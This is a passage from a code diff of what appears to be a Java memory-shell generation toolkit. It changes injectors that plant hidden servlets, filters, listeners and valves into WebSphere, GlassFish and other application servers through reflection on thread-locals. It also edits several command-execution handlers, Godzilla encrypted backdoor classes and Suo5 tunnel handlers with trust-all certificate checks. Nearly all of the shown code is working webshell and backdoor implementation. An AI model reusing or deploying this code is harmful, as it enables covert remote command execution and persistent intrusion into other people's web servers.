for (Object wsThreadLocal : wsThreadLocals) { boolean raw = false;
try {
// WebSphere Liberty
threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
} catch (NoSuchFieldException ignored) {
}
if (threadLocals == null) {
// Open Liberty
threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
raw = true;
}
for (Object threadLocal : threadLocals) {
if (threadLocal == null) {
continue;
}
Object value = threadLocal;
if (raw) {
value = getFieldValue(threadLocal, "value");
}
if (value == null) {
continue;
}
// for websphere 7.x // for websphere 7.x
if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) { if (value.getClass().getName().endsWith("FastStack")) {
Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack"); Object[] stackList = (Object[]) getFieldValue(value, "stack");
for (Object stack : stackList) { for (Object stack : stackList) {
try { try {
Object config = getFieldValue(stack, "config"); Object config = getFieldValue(stack, "config");
@@ -87,8 +108,9 @@ public class WebSphereListenerInjector {
} catch (Exception ignored) { } catch (Exception ignored) {
} }
} }
} else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {; } else if (value.getClass().getName().endsWith("WebContainerRequestState")) {
contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context")); Object webApp = invokeMethod(getFieldValue(getFieldValue(value, "currentThreadsIExtendedRequest"), "_dispatchContext"), "getWebApp", null, null);
contexts.add(getFieldValue(getFieldValue(webApp, "facade"), "context"));
} }
} }
return contexts; return contexts;
@@ -6,7 +6,9 @@ import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.HashSet;
import java.util.Properties;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -39,7 +41,7 @@ public class WebSphereServletInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -76,11 +78,32 @@ public class WebSphereServletInjector {
public Set<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>(); Set<Object> contexts = new HashSet<Object>();
Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals"); Object[] threadLocals = null;
for (Object wsThreadLocal : wsThreadLocals) { boolean raw = false;
try {
// WebSphere Liberty
threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
} catch (NoSuchFieldException ignored) {
}
if (threadLocals == null) {
// Open Liberty
threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
raw = true;
}
for (Object threadLocal : threadLocals) {
if (threadLocal == null) {
continue;
}
Object value = threadLocal;
if (raw) {
value = getFieldValue(threadLocal, "value");
}
if (value == null) {
continue;
}
// for websphere 7.x // for websphere 7.x
if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) { if (value.getClass().getName().endsWith("FastStack")) {
Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack"); Object[] stackList = (Object[]) getFieldValue(value, "stack");
for (Object stack : stackList) { for (Object stack : stackList) {
try { try {
Object config = getFieldValue(stack, "config"); Object config = getFieldValue(stack, "config");
@@ -88,8 +111,9 @@ public class WebSphereServletInjector {
} catch (Exception ignored) { } catch (Exception ignored) {
} }
} }
} else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {; } else if (value.getClass().getName().endsWith("WebContainerRequestState")) {
contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context")); Object webApp = invokeMethod(getFieldValue(getFieldValue(value, "currentThreadsIExtendedRequest"), "_dispatchContext"), "getWebApp", null, null);
contexts.add(getFieldValue(getFieldValue(webApp, "facade"), "context"));
} }
} }
return contexts; return contexts;
@@ -1,9 +1,9 @@
package com.reajason.javaweb.memshell.server; package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterInjector;
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector; import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector; import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector; import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector; import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector;
import com.reajason.javaweb.utils.ShellCommonUtil; import com.reajason.javaweb.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice; import net.bytebuddy.asm.Advice;
@@ -43,8 +43,8 @@ public class GlassFish extends AbstractServer {
return InjectorMapping.builder() return InjectorMapping.builder()
.addInjector(LISTENER, TomcatListenerInjector.class) .addInjector(LISTENER, TomcatListenerInjector.class)
.addInjector(JAKARTA_LISTENER, TomcatListenerInjector.class) .addInjector(JAKARTA_LISTENER, TomcatListenerInjector.class)
.addInjector(FILTER, TomcatFilterInjector.class) .addInjector(FILTER, GlassFishFilterInjector.class)
.addInjector(JAKARTA_FILTER, TomcatFilterInjector.class) .addInjector(JAKARTA_FILTER, GlassFishFilterInjector.class)
.addInjector(VALVE, GlassFishValveInjector.class) .addInjector(VALVE, GlassFishValveInjector.class)
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class) .addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class) .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
@@ -27,6 +27,8 @@ public class Command {
InputStream inputStream = getInputStream(param); InputStream inputStream = getInputStream(param);
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes()); outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
outputStream.flush();
outputStream.close();
return true; return true;
} }
} catch (Throwable e) { } catch (Throwable e) {
@@ -7,6 +7,7 @@ import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpServletResponse;
import java.io.InputStream; import java.io.InputStream;
import java.util.Scanner;
/** /**
* @author ReaJason * @author ReaJason
@@ -24,12 +25,9 @@ public class CommandControllerHandler implements Controller {
if (p != null) { if (p != null) {
String param = getParam(p); String param = getParam(p);
InputStream inputStream = getInputStream(param); InputStream inputStream = getInputStream(param);
ServletOutputStream outputStream = response.getOutputStream(); response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
byte[] buf = new byte[8192]; response.getWriter().flush();
int length; response.getWriter().close();
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
} }
} catch (Throwable e) { } catch (Throwable e) {
e.printStackTrace(); e.printStackTrace();
@@ -5,6 +5,7 @@ import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpServletResponse;
import java.io.IOException; import java.io.IOException;
import java.io.InputStream; import java.io.InputStream;
import java.util.Scanner;
/** /**
* @author ReaJason * @author ReaJason
@@ -25,12 +26,9 @@ public class CommandFilter implements Filter {
if (p != null) { if (p != null) {
String param = getParam(p); String param = getParam(p);
InputStream inputStream = getInputStream(param); InputStream inputStream = getInputStream(param);
ServletOutputStream outputStream = servletResponse.getOutputStream(); response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
byte[] buf = new byte[8192]; response.getWriter().flush();
int length; response.getWriter().close();
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
return; return;
} }
} catch (Throwable e) { } catch (Throwable e) {
@@ -26,6 +26,8 @@ public class CommandInterceptor implements AsyncHandlerInterceptor {
String param = getParam(p); String param = getParam(p);
InputStream inputStream = getInputStream(param); InputStream inputStream = getInputStream(param);
response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next()); response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
response.getWriter().flush();
response.getWriter().close();
return false; return false;
} }
} catch (Throwable e) { } catch (Throwable e) {
@@ -43,6 +43,8 @@ public class CommandJettyAgentHandler {
InputStream inputStream = getInputStream(param); InputStream inputStream = getInputStream(param);
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes()); outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
outputStream.flush();
outputStream.close();
if (baseRequest != null) { if (baseRequest != null) {
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true); baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
} }
@@ -32,6 +32,8 @@ public class CommandJettyCustomizer implements HttpConfiguration.Customizer {
InputStream inputStream = getInputStream(param); InputStream inputStream = getInputStream(param);
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes()); outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
outputStream.flush();
outputStream.close();
invokeMethod(request, "setHandled", new Class[]{boolean.class}, new Object[]{true}); invokeMethod(request, "setHandled", new Class[]{boolean.class}, new Object[]{true});
} }
} catch (Throwable e) { } catch (Throwable e) {
@@ -40,6 +40,8 @@ public class CommandJettyHandler {
InputStream inputStream = getInputStream(param); InputStream inputStream = getInputStream(param);
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes()); outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
outputStream.flush();
outputStream.close();
return true; return true;
} }
} catch (Throwable e) { } catch (Throwable e) {
@@ -6,6 +6,7 @@ import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpServletResponse;
import java.io.InputStream; import java.io.InputStream;
import java.util.Scanner;
/** /**
* @author ReaJason * @author ReaJason
@@ -23,14 +24,11 @@ public class CommandListener implements ServletRequestListener {
} }
if (p != null) { if (p != null) {
String param = getParam(p); String param = getParam(p);
HttpServletResponse servletResponse = (HttpServletResponse) getResponseFromRequest(request); HttpServletResponse response = (HttpServletResponse) getResponseFromRequest(request);
InputStream inputStream = getInputStream(param); InputStream inputStream = getInputStream(param);
ServletOutputStream outputStream = servletResponse.getOutputStream(); response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
byte[] buf = new byte[8192]; response.getWriter().flush();
int length; response.getWriter().close();
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
} }
} catch (Throwable e) { } catch (Throwable e) {
e.printStackTrace(); e.printStackTrace();
@@ -7,6 +7,7 @@ import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpServletResponse;
import java.io.IOException; import java.io.IOException;
import java.io.InputStream; import java.io.InputStream;
import java.util.Scanner;
/** /**
* @author ReaJason * @author ReaJason
@@ -30,12 +31,9 @@ public class CommandServlet extends HttpServlet {
if (p != null) { if (p != null) {
String param = getParam(p); String param = getParam(p);
InputStream inputStream = getInputStream(param); InputStream inputStream = getInputStream(param);
ServletOutputStream outputStream = response.getOutputStream(); response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
byte[] buf = new byte[8192]; response.getWriter().flush();
int length; response.getWriter().close();
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
} }
} catch (Throwable e) { } catch (Throwable e) {
e.printStackTrace(); e.printStackTrace();
@@ -29,6 +29,7 @@ public class CommandStruct2Action {
InputStream inputStream = getInputStream(param); InputStream inputStream = getInputStream(param);
response.getWriter().println(new Scanner(inputStream).useDelimiter("\\A").next()); response.getWriter().println(new Scanner(inputStream).useDelimiter("\\A").next());
response.getWriter().flush(); response.getWriter().flush();
response.getWriter().close();
} }
} catch (Throwable ignored) { } catch (Throwable ignored) {
} }
@@ -32,6 +32,8 @@ public class CommandUndertowServletHandler {
InputStream inputStream = getInputStream(param); InputStream inputStream = getInputStream(param);
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes()); outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
outputStream.flush();
outputStream.close();
return true; return true;
} }
} catch (Throwable e) { } catch (Throwable e) {
@@ -35,7 +35,7 @@ public class CommandUpgrade implements UpgradeProtocol {
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes()); outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
outputStream.flush(); outputStream.flush();
inputStream.close(); outputStream.close();
return true; return true;
} }
} catch (Throwable e) { } catch (Throwable e) {
@@ -26,6 +26,8 @@ public class CommandValve implements Valve {
String param = getParam(p); String param = getParam(p);
InputStream inputStream = getInputStream(param); InputStream inputStream = getInputStream(param);
response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next()); response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
response.getWriter().flush();
response.getWriter().close();
return; return;
} }
} catch (Throwable e) { } catch (Throwable e) {
@@ -6,6 +6,7 @@ import javax.websocket.MessageHandler;
import javax.websocket.Session; import javax.websocket.Session;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.InputStream; import java.io.InputStream;
import java.util.Scanner;
/** /**
* <a href="https://github.com/veo/wsMemShell">wsMemShell</a> * <a href="https://github.com/veo/wsMemShell">wsMemShell</a>
@@ -21,13 +22,7 @@ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<S
public void onMessage(String cmd) { public void onMessage(String cmd) {
try { try {
InputStream inputStream = getInputStream(getParam(cmd)); InputStream inputStream = getInputStream(getParam(cmd));
byte[] buf = new byte[8192]; session.getBasicRemote().sendText(new Scanner(inputStream).useDelimiter("\\A").next());
int length;
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
session.getBasicRemote().sendText(outputStream.toString());
} catch (Throwable e) { } catch (Throwable e) {
e.printStackTrace(); e.printStackTrace();
} }
@@ -51,6 +51,8 @@ public class Godzilla extends ClassLoader {
writer.write(md5.substring(0, 16)); writer.write(md5.substring(0, 16));
writer.write(base64Encode(this.x(arrOut.toByteArray(), true))); writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16)); writer.write(md5.substring(16));
writer.flush();
writer.close();
} }
} catch (Throwable e) { } catch (Throwable e) {
e.printStackTrace(); e.printStackTrace();
@@ -49,6 +49,8 @@ public class GodzillaControllerHandler extends ClassLoader implements Controller
writer.write(md5.substring(0, 16)); writer.write(md5.substring(0, 16));
writer.write(base64Encode(this.x(arrOut.toByteArray(), true))); writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16)); writer.write(md5.substring(16));
writer.flush();
writer.close();
} }
} catch (Throwable e) { } catch (Throwable e) {
e.printStackTrace(); e.printStackTrace();
@@ -51,6 +51,8 @@ public class GodzillaFilter extends ClassLoader implements Filter {
writer.write(md5.substring(0, 16)); writer.write(md5.substring(0, 16));
writer.write(base64Encode(this.x(arrOut.toByteArray(), true))); writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16)); writer.write(md5.substring(16));
writer.flush();
writer.close();
} }
} catch (Throwable e) { } catch (Throwable e) {
e.printStackTrace(); e.printStackTrace();
@@ -50,6 +50,8 @@ public class GodzillaInterceptor extends ClassLoader implements AsyncHandlerInte
writer.write(md5.substring(0, 16)); writer.write(md5.substring(0, 16));
writer.write(base64Encode(this.x(arrOut.toByteArray(), true))); writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16)); writer.write(md5.substring(16));
writer.flush();
writer.close();
} }
} catch (Throwable e) { } catch (Throwable e) {
e.printStackTrace(); e.printStackTrace();
@@ -66,6 +66,8 @@ public class GodzillaJettyAgentHandler extends ClassLoader {
writer.write(md5.substring(0, 16)); writer.write(md5.substring(0, 16));
writer.write(base64Encode(this.x(arrOut.toByteArray(), true))); writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16)); writer.write(md5.substring(16));
writer.flush();
writer.close();
} }
if (baseRequest != null) { if (baseRequest != null) {
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true); baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
@@ -53,6 +53,8 @@ public class GodzillaJettyCustomizer extends ClassLoader implements HttpConfigur
writer.write(md5.substring(0, 16)); writer.write(md5.substring(0, 16));
writer.write(base64Encode(this.x(arrOut.toByteArray(), true))); writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16)); writer.write(md5.substring(16));
writer.flush();
writer.close();
} }
} catch (Throwable e) { } catch (Throwable e) {
e.printStackTrace(); e.printStackTrace();
@@ -57,6 +57,8 @@ public class GodzillaJettyHandler {
writer.write(md5.substring(0, 16)); writer.write(md5.substring(0, 16));
writer.write(base64Encode(this.x(arrOut.toByteArray(), true))); writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16)); writer.write(md5.substring(16));
writer.flush();
writer.close();
} }
} catch (Throwable e) { } catch (Throwable e) {
e.printStackTrace(); e.printStackTrace();
@@ -50,6 +50,8 @@ public class GodzillaListener extends ClassLoader implements ServletRequestListe
writer.write(md5.substring(0, 16)); writer.write(md5.substring(0, 16));
writer.write(base64Encode(this.x(arrOut.toByteArray(), true))); writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16)); writer.write(md5.substring(16));
writer.flush();
writer.close();
} }
} catch (Throwable e) { } catch (Throwable e) {
e.printStackTrace(); e.printStackTrace();
@@ -51,6 +51,8 @@ public class GodzillaServlet extends ClassLoader implements Servlet {
writer.write(md5.substring(0, 16)); writer.write(md5.substring(0, 16));
writer.write(base64Encode(this.x(arrOut.toByteArray(), true))); writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16)); writer.write(md5.substring(16));
writer.flush();
writer.close();
} }
} catch (Throwable e) { } catch (Throwable e) {
e.printStackTrace(); e.printStackTrace();
@@ -47,6 +47,8 @@ public class GodzillaStruct2Action {
writer.write(md5.substring(0, 16)); writer.write(md5.substring(0, 16));
writer.write(base64Encode(this.x(arrOut.toByteArray(), true))); writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16)); writer.write(md5.substring(16));
writer.flush();
writer.close();
} }
} catch (Throwable e) { } catch (Throwable e) {
e.printStackTrace(); e.printStackTrace();
@@ -56,6 +56,8 @@ public class GodzillaUndertowServletHandler extends ClassLoader {
writer.write(md5.substring(0, 16)); writer.write(md5.substring(0, 16));
writer.write(base64Encode(this.x(arrOut.toByteArray(), true))); writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16)); writer.write(md5.substring(16));
writer.flush();
writer.close();
} }
} catch (Throwable e) { } catch (Throwable e) {
e.printStackTrace(); e.printStackTrace();
@@ -51,6 +51,8 @@ public class GodzillaValve extends ClassLoader implements Valve {
writer.write(md5.substring(0, 16)); writer.write(md5.substring(0, 16));
writer.write(base64Encode(this.x(arrOut.toByteArray(), true))); writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16)); writer.write(md5.substring(16));
writer.flush();
writer.close();
} }
} catch (Throwable e) { } catch (Throwable e) {
e.printStackTrace(); e.printStackTrace();
@@ -183,7 +183,11 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
} }
} catch (Throwable ignored) { } catch (Throwable ignored) {
} finally { } finally {
try {
OutputStream out = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
out.flush();
out.close();
} catch (Throwable ignore) {}
} }
} }
@@ -162,7 +162,11 @@ public class Suo5v2ControllerHandler implements Controller, Runnable, HostnameVe
} }
} catch (Throwable e) { } catch (Throwable e) {
} finally { } finally {
try {
OutputStream out = resp.getOutputStream();
out.flush();
out.close();
} catch (Throwable ignored) {}
} }
} }
@@ -988,109 +992,6 @@ public class Suo5v2ControllerHandler implements Controller, Runnable, HostnameVe
return new String(randomChars); return new String(randomChars);
} }
private int toOffset(byte[] bs) {
if (bs == null || bs.length != 4) {
return 0;
}
try {
bs = base64UrlDecode(new String(bs));
return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
} catch (Exception e) {
return 0;
}
}
private String getOffset(HttpServletRequest request) {
String cookieValue = request.getHeader("Cookie");
if (cookieValue != null && cookieValue.length() > 0) {
ArrayList cookieVals = cookieValues(cookieValue);
for (int i = 0; i < cookieVals.size(); i++) {
String val = (String) cookieVals.get(i);
if (val.length() >= 12) {
if (is_valid(val.substring(val.length() - 8), 430) != null) {
return val;
}
}
}
}
Enumeration headerNames = request.getHeaderNames();
while (headerNames != null && headerNames.hasMoreElements()) {
String headerName = (String) headerNames.nextElement();
String val = request.getHeader(headerName);
if (val.length() >= 12) {
if (is_valid(val.substring(val.length() - 8), 430) != null) {
return val;
}
}
}
return null;
}
private byte[] is_valid(String data, int sum) {
try {
byte[] result = base64UrlDecode(data);
if (result.length < 6) {
return null;
} else {
int i = result.length - 2;
int j = result.length - 3;
int p = result.length - 5;
int q = result.length - 6;
boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
return valid ? result : null;
}
} catch (Exception var8) {
return null;
}
}
private boolean isOdd(int i) {
return (i & 1) == 1;
}
private int toUInt(byte x) {
return x & 255;
}
public static String md5(byte[] content) {
MessageDigest md = null;
try {
md = MessageDigest.getInstance("MD5");
} catch (NoSuchAlgorithmException e) {
throw new RuntimeException(e);
}
byte[] md5Bytes = md.digest(content);
// no String.format in java1.4
StringBuffer sb = new StringBuffer();
for (int i = 0; i < md5Bytes.length; i++) {
byte b = md5Bytes[i];
int value = b & 0xFF;
if (value < 16) {
sb.append('0');
}
sb.append(Integer.toHexString(value));
}
return sb.toString();
}
private ArrayList cookieValues(String cookieValue) {
ArrayList values = new ArrayList();
String[] cookiePairs = cookieValue.split(";");
for (int i = 0; i < cookiePairs.length; i++) {
String pair = cookiePairs[i];
String[] keyValue = pair.split("=", 2);
if (keyValue.length >= 2) {
values.add(keyValue[1].trim());
}
}
return values;
}
public boolean verify(String hostname, SSLSession session) { public boolean verify(String hostname, SSLSession session) {
return true; return true;
} }
@@ -167,7 +167,11 @@ public class Suo5v2Filter implements Filter, Runnable, HostnameVerifier, X509Tru
} }
} catch (Throwable e) { } catch (Throwable e) {
} finally { } finally {
try {
OutputStream out = resp.getOutputStream();
out.flush();
out.close();
} catch (Throwable ignored) {}
} }
} }
@@ -993,109 +997,6 @@ public class Suo5v2Filter implements Filter, Runnable, HostnameVerifier, X509Tru
return new String(randomChars); return new String(randomChars);
} }
private int toOffset(byte[] bs) {
if (bs == null || bs.length != 4) {
return 0;
}
try {
bs = base64UrlDecode(new String(bs));
return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
} catch (Exception e) {
return 0;
}
}
private String getOffset(HttpServletRequest request) {
String cookieValue = request.getHeader("Cookie");
if (cookieValue != null && cookieValue.length() > 0) {
ArrayList cookieVals = cookieValues(cookieValue);
for (int i = 0; i < cookieVals.size(); i++) {
String val = (String) cookieVals.get(i);
if (val.length() >= 12) {
if (is_valid(val.substring(val.length() - 8), 430) != null) {
return val;
}
}
}
}
Enumeration headerNames = request.getHeaderNames();
while (headerNames != null && headerNames.hasMoreElements()) {
String headerName = (String) headerNames.nextElement();
String val = request.getHeader(headerName);
if (val.length() >= 12) {
if (is_valid(val.substring(val.length() - 8), 430) != null) {
return val;
}
}
}
return null;
}
private byte[] is_valid(String data, int sum) {
try {
byte[] result = base64UrlDecode(data);
if (result.length < 6) {
return null;
} else {
int i = result.length - 2;
int j = result.length - 3;
int p = result.length - 5;
int q = result.length - 6;
boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
return valid ? result : null;
}
} catch (Exception var8) {
return null;
}
}
private boolean isOdd(int i) {
return (i & 1) == 1;
}
private int toUInt(byte x) {
return x & 255;
}
public static String md5(byte[] content) {
MessageDigest md = null;
try {
md = MessageDigest.getInstance("MD5");
} catch (NoSuchAlgorithmException e) {
throw new RuntimeException(e);
}
byte[] md5Bytes = md.digest(content);
// no String.format in java1.4
StringBuffer sb = new StringBuffer();
for (int i = 0; i < md5Bytes.length; i++) {
byte b = md5Bytes[i];
int value = b & 0xFF;
if (value < 16) {
sb.append('0');
}
sb.append(Integer.toHexString(value));
}
return sb.toString();
}
private ArrayList cookieValues(String cookieValue) {
ArrayList values = new ArrayList();
String[] cookiePairs = cookieValue.split(";");
for (int i = 0; i < cookiePairs.length; i++) {
String pair = cookiePairs[i];
String[] keyValue = pair.split("=", 2);
if (keyValue.length >= 2) {
values.add(keyValue[1].trim());
}
}
return values;
}
public boolean verify(String hostname, SSLSession session) { public boolean verify(String hostname, SSLSession session) {
return true; return true;
} }
@@ -179,7 +179,11 @@ public class Suo5v2Interceptor implements AsyncHandlerInterceptor, Runnable, Hos
} }
} catch (Throwable e) { } catch (Throwable e) {
} finally { } finally {
try {
OutputStream out = resp.getOutputStream();
out.flush();
out.close();
} catch (Throwable ignored) {}
} }
} }
@@ -1005,109 +1009,6 @@ public class Suo5v2Interceptor implements AsyncHandlerInterceptor, Runnable, Hos
return new String(randomChars); return new String(randomChars);
} }
private int toOffset(byte[] bs) {
if (bs == null || bs.length != 4) {
return 0;
}
try {
bs = base64UrlDecode(new String(bs));
return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
} catch (Exception e) {
return 0;
}
}
private String getOffset(HttpServletRequest request) {
String cookieValue = request.getHeader("Cookie");
if (cookieValue != null && cookieValue.length() > 0) {
ArrayList cookieVals = cookieValues(cookieValue);
for (int i = 0; i < cookieVals.size(); i++) {
String val = (String) cookieVals.get(i);
if (val.length() >= 12) {
if (is_valid(val.substring(val.length() - 8), 430) != null) {
return val;
}
}
}
}
Enumeration headerNames = request.getHeaderNames();
while (headerNames != null && headerNames.hasMoreElements()) {
String headerName = (String) headerNames.nextElement();
String val = request.getHeader(headerName);
if (val.length() >= 12) {
if (is_valid(val.substring(val.length() - 8), 430) != null) {
return val;
}
}
}
return null;
}
private byte[] is_valid(String data, int sum) {
try {
byte[] result = base64UrlDecode(data);
if (result.length < 6) {
return null;
} else {
int i = result.length - 2;
int j = result.length - 3;
int p = result.length - 5;
int q = result.length - 6;
boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
return valid ? result : null;
}
} catch (Exception var8) {
return null;
}
}
private boolean isOdd(int i) {
return (i & 1) == 1;
}
private int toUInt(byte x) {
return x & 255;
}
public static String md5(byte[] content) {
MessageDigest md = null;
try {
md = MessageDigest.getInstance("MD5");
} catch (NoSuchAlgorithmException e) {
throw new RuntimeException(e);
}
byte[] md5Bytes = md.digest(content);
// no String.format in java1.4
StringBuffer sb = new StringBuffer();
for (int i = 0; i < md5Bytes.length; i++) {
byte b = md5Bytes[i];
int value = b & 0xFF;
if (value < 16) {
sb.append('0');
}
sb.append(Integer.toHexString(value));
}
return sb.toString();
}
private ArrayList cookieValues(String cookieValue) {
ArrayList values = new ArrayList();
String[] cookiePairs = cookieValue.split(";");
for (int i = 0; i < cookiePairs.length; i++) {
String pair = cookiePairs[i];
String[] keyValue = pair.split("=", 2);
if (keyValue.length >= 2) {
values.add(keyValue[1].trim());
}
}
return values;
}
public boolean verify(String hostname, SSLSession session) { public boolean verify(String hostname, SSLSession session) {
return true; return true;
} }
@@ -216,7 +216,11 @@ public class Suo5v2JettyCustomizer implements HttpConfiguration.Customizer, Runn
} }
